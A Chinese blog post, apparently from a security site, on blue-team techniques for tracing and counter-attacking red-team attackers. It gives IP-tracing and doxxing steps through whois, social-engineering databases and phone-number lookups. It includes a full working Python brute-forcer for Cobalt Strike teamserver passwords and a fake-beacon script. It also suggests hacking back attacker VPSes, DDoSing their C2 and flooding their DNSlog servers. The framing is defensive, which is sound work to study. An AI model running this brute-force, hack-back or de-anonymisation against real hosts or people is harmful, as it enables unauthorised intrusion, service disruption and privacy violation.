红蓝对抗系列之浅谈蓝队反制红队的手法一二
红蓝对抗系列之浅谈蓝队反制红队的手法一二
取证反查
针对ip 溯源一二
一般来说,红队大部分都是使用代理节点进行测试,假如我们捕获或者从样本里面分析拿到了真实ip ,那么以下操作场景就有用了,或者使用钓鱼反钓的方式获取到了真实ip。
1: ip > 来自创宇盾等节点流量ip
ip,假如前面还有一层云waf 、cdn厂商等,那么需要协调到提供服务的厂商,快速获取到云waf 或者cdn 之前的节点real_ip , 然后拿到了真实ip 就是下面的常规溯源操作。
2: ip> whois 、域名反查
ip ,初步可进行 whois 查询, 以及域名反查,查看历史的的解析、以及历史的ip拥有记录,运气好的话,假如攻击队成员使用的是自己的博客之类的vps 常用节点,那么很有可能能够通过这个手法进行溯源到相关人员。
3: ip > 探测端口,服务,进行反渗透vp
ip, 对该ip 进行端口探测、服务探测,进行反渗透。 一般来说红队的vps 都是在一些国内外的一些vps 主机供应商或者云服务供应商那边购买,假如是国内的话,可通过公安网警进行协助查水表,获取真实人员身份。 假如我们反渗透成功,那么可提取历史登入记录,历史ip,网络连接、进程、以及攻击工具、进程、内存镜像等方式进行取证分析。
4: Ip> 威胁情报
ip,对使用威胁情报进行综合分析,查看该ip他人对该ip 打的标签、历史解析记录、历史变更记录、以及该ip上面关联的相关样本,这些都能够获取到进行进一步分析。
5: Whois > 邮箱,qq, 手机号 > 社工库
通过ip的whois 获取到了相关人员的qq 或者邮箱或者手机号,那么可使用社工库,进行社工查询,比如twitter 的社工库机器人或者自行研究的社工库进行综合关联分析。
6: 手机号》 qq、微信、抖音、陌陌、脉脉等接口。
获取到了手机号,那么可通过qq 、微信、抖音、陌陌、脉脉等接口进行关联,一般而言获取到了手机号初步可通过这种简单易行的手法去溯源到红队人员。
7: 手机号》 ga数据、运营商数据。
当然,如果你有办法能通过ga资源,或者直接通过运营商拿数据,那就更好了。
8: Ip 反查相关推荐
Whois 查询:
http://ipwhois.cnnic.net.cn/
批量ip归属:http://ip.tool.chinaz.com/siteip
http://www.jsons.cn/ipbatch/
https://ip.tool.chinaz.com/
http://cip.cc/
威胁情报推荐地址
https://x.threatbook.cn/
样本查询地址
https://www.virustotal.com/
精准定位:
https://www.ipuu.net/
https://chaipip.com/aiwen.html
常见红队被反杀的姿势
1: 使用个人工作PC,且浏览器里面保存了Baidu、163、Sina等登陆凭据,攻击对抗过程中踩到蓝队蜜罐,被JsonP劫持漏洞捕获安全社交id,从而被溯源到真实姓名和所在公司。
2、可能是蓝方封禁IP太厉害的原因,红队个人或团队,使用自己的网站vps进行扫描,vps上含有团伙组织HTTPS证书、或VPS IP绑定的域名跟安全社交id对应,从而被溯源到真实姓名和所在公司。
3、部分攻击队写的扫描器payload里面含有攻击者信息,如使用了私有DNSlog、攻击载荷里面含有安全社交id、含有个人博客资源请求等。
4、投递的钓鱼邮件内木马样本被蓝队采集、逆向、反控C2C、溯源到个人信息。
5、虚拟机逃逸打到实体机,暴露个人全部真实信息的。
反制红队基础设施的骚操作
Cobalt Strike 反制
在防守里面,必不可少的是邮件钓鱼,或者社工钓鱼,一般来说钓鱼的样本无非这几种:
exe 、elf 可执行文件, 以及加了料的doc 类的宏木马。 一般而言,目前红队主要是通过Cobalt Strike 生成相关上线的shell ,那么针对Cobalt Strike 如何进行反制呢。
1 :批量上线钓鱼马,启几百个进程,ddos 红方的cs 端
假如我们获取到了红方的cs 样本,那么第一种方法可批量启几百个进程运行该样本(注意与真实环境隔离好,蓝队别自己送人头了),然后红方的cs 端几乎瘫痪,无法使用。
直接附github 地址:
https://github.com/Tk369/pluginS/blob/master/ll.py
2: 爆破cs 密码
此计名为:釜底抽薪。
一般而言,红队的cs设施为了多人运动,密码通常不会太复杂,有很大机会是弱口令为主,甚至Teamserver端口50050,那么针对cs 端控制端,可直接进行爆破密码,然后进行釜底抽薪
附cs 爆破密码脚本
#!/usr/bin/env python3import time,socket,ssl,argparse,concurrent.futures,sysMIN_PYTHON = (3, 3) if sys.version_info < MIN_PYTHON:sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)parser = argparse.ArgumentParser()parser.add_argument("host",help="Teamserver address") parser.add_argument("wordlist", nargs="?",help="Newline-delimited word list file")args = parser.parse_args()class NotConnectedException(Exception):def __init__(self, message=None, node=None):self.message = messageself.node = nodeclass DisconnectedException(Exception):def __init__(self, message=None, node=None):self.message = messageself.node = nodeclass Connector:def __init__(self):self.sock = Noneself.ssl_sock = Noneself.ctx = ssl.SSLContext()self.ctx.verify_mode = ssl.CERT_NONEpassdef is_connected(self):return self.sock and self.ssl_sockdef open(self, hostname, port):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(10)self.ssl_sock = self.ctx.wrap_socket(self.sock)if hostname == socket.gethostname():ipaddress = socket.gethostbyname_ex(hostname)[2][0]self.ssl_sock.connect((ipaddress, port))else:self.ssl_sock.connect((hostname, port))def close(self):if self.sock:self.sock.close()self.sock = Noneself.ssl_sock = Nonedef send(self, buffer):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")self.ssl_sock.sendall(buffer)def receive(self):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")received_size = 0data_buffer = b""while received_size < 4:data_in = self.ssl_sock.recv()data_buffer = data_buffer + data_inreceived_size += len(data_in)return data_bufferdef passwordcheck(password):if len(password) > 0:result = Noneconn = Connector()conn.open(args.host, 50050)payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))conn.send(payload)if conn.is_connected(): result = conn.receive()if conn.is_connected(): conn.close()if result == bytearray(b"\x00\x00\xca\xfe"): return passwordelse: return Falseelse: print("Do not have a blank password!!!")passwords = []if args.wordlist: passwords = open(args.wordlist).read().split("\n") else: for line in sys.stdin: passwords.append(line.rstrip())if len(passwords) > 0:attempts = 0failures = 0with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check):password = future_to_check[future]try:data = future.result()attempts = attempts + 1if data:print ("Successful Attack!!!")print("Target Password: {}".format(password))except Exception as exc:failures = failures + 1print('%r generated an exception: %s' % (password, exc))else:print("Password(s) required")
3: 假上线
我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令,只能干着急。
也就是模拟cs 上线,直接附代码。
使用时更改换IP
或域名、port
、cookie
# coding: utf-8import re import time import requestsdef heartbeat():url = "http://192.168.186.133:333/activity"headers = {'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=','Host': '192.168.186.133:333','Accept': '*/*','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'}resp = requests.get(url=url,headers=headers)text = resp.content.hex()return textx = True while x:text = heartbeat()lengs = len(text)# print(lengs, " ", text)if '2f4320' in text and '000041' in text:print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))commeds = re.findall(r'2f4320(.*?)000041', text)for comm in commeds:commed = bytes.fromhex(comm).decode('utf-8')print(commed)time.sleep(5)
针对dnslog 的反制
此计可用混水摸鱼计策:乘其阴乱,利其弱而无主。随,以向晦入宴息。
解释: 通过流量设备审计到他人的dnslog 平台的url payload, 那么针对他的url payload 可进行反制。 一般而言,常见的公开的dnslog 平台,蓝队防守的时候可对常见dnslog 平台进行屏蔽即可,那么针对自行搭建的dnslog 平台有以下思路进行反制。
dnslog反制
可进行批量ping 捕获到的dnslog ,然后恶意扰乱他自行搭建的,恶意制造各种垃圾dnslog数据,让他无法获取到有效信息。直接让红队人员被迫废弃一个红队基础设施。 具体可以写个脚本比如站长之家之类的进行批量ping ,进行探测存活。
httplog反制
http log 同理, 使用爬虫节点,批量进行request 请求 捕获的http url 即可,这样红队的dnslog 平台几乎彻底报废。
以上,是作为防守蓝队,如何对红队的攻击行为,进行反制的一些思路总结。
总结
以上就是针对从取证反查、到对红队的基础设施进行反制的常规手法。
参考:
https://k8gege.org/p/40523.html
https://www.anquanke.com/post/id/219059
https://mp.weixin.qq.com/s/vZzDUZsqfAZR9VRDMLXxJA
https://mp.weixin.qq.com/s/AZwKkEeTErPeOrkVH2Mirw
红蓝对抗系列之浅谈蓝队反制红队的手法一二相关推荐
- 司普沃浅谈蓝莓种植技术与管理
蓝莓果实大小近似于樱桃,呈蓝色及亮蓝色,风味甜酸并有特殊的香气,口感极佳,而且蓝莓的种子很小吃下去几乎没有感觉,没有像樱桃那样的果柄和种子等不可食用部分,吃起来非常方便.下面我们一起去了解一下蓝莓的种 ...
- NFT系列#2 - 浅谈你不知道的加密艺术史(二)
导读:2016年诞生的Rare Pepe Wallet开辟了通往加密艺术的路.到了2017年,随着比特币第三轮牛市的到来,越来越多的加密艺术项目乘着币价的东风崭露头角.不同的是,它们抛弃了比特币网络, ...
- NFT系列#1 - 浅谈你不知道的加密艺术史(一)
导读:加密艺术是近期的热门话题.不少人啧啧称奇,区块链和艺术什么时候打得如此火热?我们回溯加密艺术的历史,发现区块链与艺术的羁绊乃是草蛇灰线,伏脉千里:10年前,人们不止可以用比特币买披萨,也可以买画 ...
- 【NXP DN 系列】浅谈 DPAA1 Software Architecture 工作原理
浅谈 DPAA1 Software Architecture 工作原理 一.介绍 DPAA1 的主要目的是在片上系统( SOC )的 IO 部分内提供智能处理,以进行路由和管 理与流量相关的处理工作, ...
- 浅谈蓝湖使用ps插件快速构建代码
关于使用蓝湖将设计图转化为代码这个功能出现的已经有一段时间了,类似于这种原型图转代码的功能市面上的这种还是挺多的,如果说一些简单的页面懒得写的话哈哈哈哈哈哈哈,就可以考虑一下使用这种功能 今天在闲暇之 ...
- 【技术系列】浅谈GPU虚拟化技术(第一章)
摘要: GPU深度好文系列,阿里云技术专家分享 第一章 GPU虚拟化发展史 GPU的虚拟化发展历程事实上与公有云市场和云计算应用场景的普及息息相关.如果在10年前谈起云计算,大部分人的反应是" ...
- MyBatis系列之浅谈SQL执行流程分析
目录 独立使用Mybatis Mybatis执行流程 SqlSessionFactory\SqlSession MapperProxy Excutor 独立使用Mybatis 这篇文章主要以分析Myb ...
- 【自爆系列】浅谈我前端开发的那些糗事
其实我是一名土生土长的.NET北方程序员,使用c#就像吃面一样习惯,很少写js,直到上班后. 场景1:新来员工那个谁,你去把这个js写下,很简单的.山雨欲来风满楼,然后就有一堆一堆的不知道是简单还是复 ...
- 推荐系统工程系列(1):浅谈推荐系统架构
1.前言 本文同步发表于 知乎专栏: 知乎专栏: 推荐系统工程实践 微信公众号: yanianthe的公众号 欢迎一起订阅一起学习成长! 为什么会有这个专栏? 相信跟大多数人一样,我的技术启蒙书籍,也 ...
最新文章
- 10-flutter 使用http包请求和网络指示器
- HDLBits 系列(23)3 输入的 LUT
- 9月22日 奇怪的贸易
- zcmu1716(思维)
- 什么叫「人的格局」?是否有必要培养大的格局或怎么培养?
- Java 比较两个日期的方法
- @Autowired注解实现原理
- 浙大计算机学院绩点,浙江大学学分制管理暂行规定-浙江大学本科生院.doc
- linux运行sqlite,Linux上安装sqlite3
- (转)web app 禁用手机浏览器缓存方法
- 比较热门的物联网服务器的使用
- linux载入pytorch的预训练模型时遇到_pickle.UnpicklingError: unpickling stack underflow
- af dns 刷新时间_第一时间上手Redmi K30 Pro,有些想法不吐不快
- 共享充电宝有什么好拍? | 拍者手记
- Jmeter对webSocket测试
- 2022济南大学acm新生赛题解
- [分享]豪杰超级DVD播放器Ⅲ破解之菜鸟了解PE文件
- Solar2DCorona(一) - Hello World
- python解决水仙花数(自恋数)
- freemind 要下载java_FreeMind下载、安装及使用介绍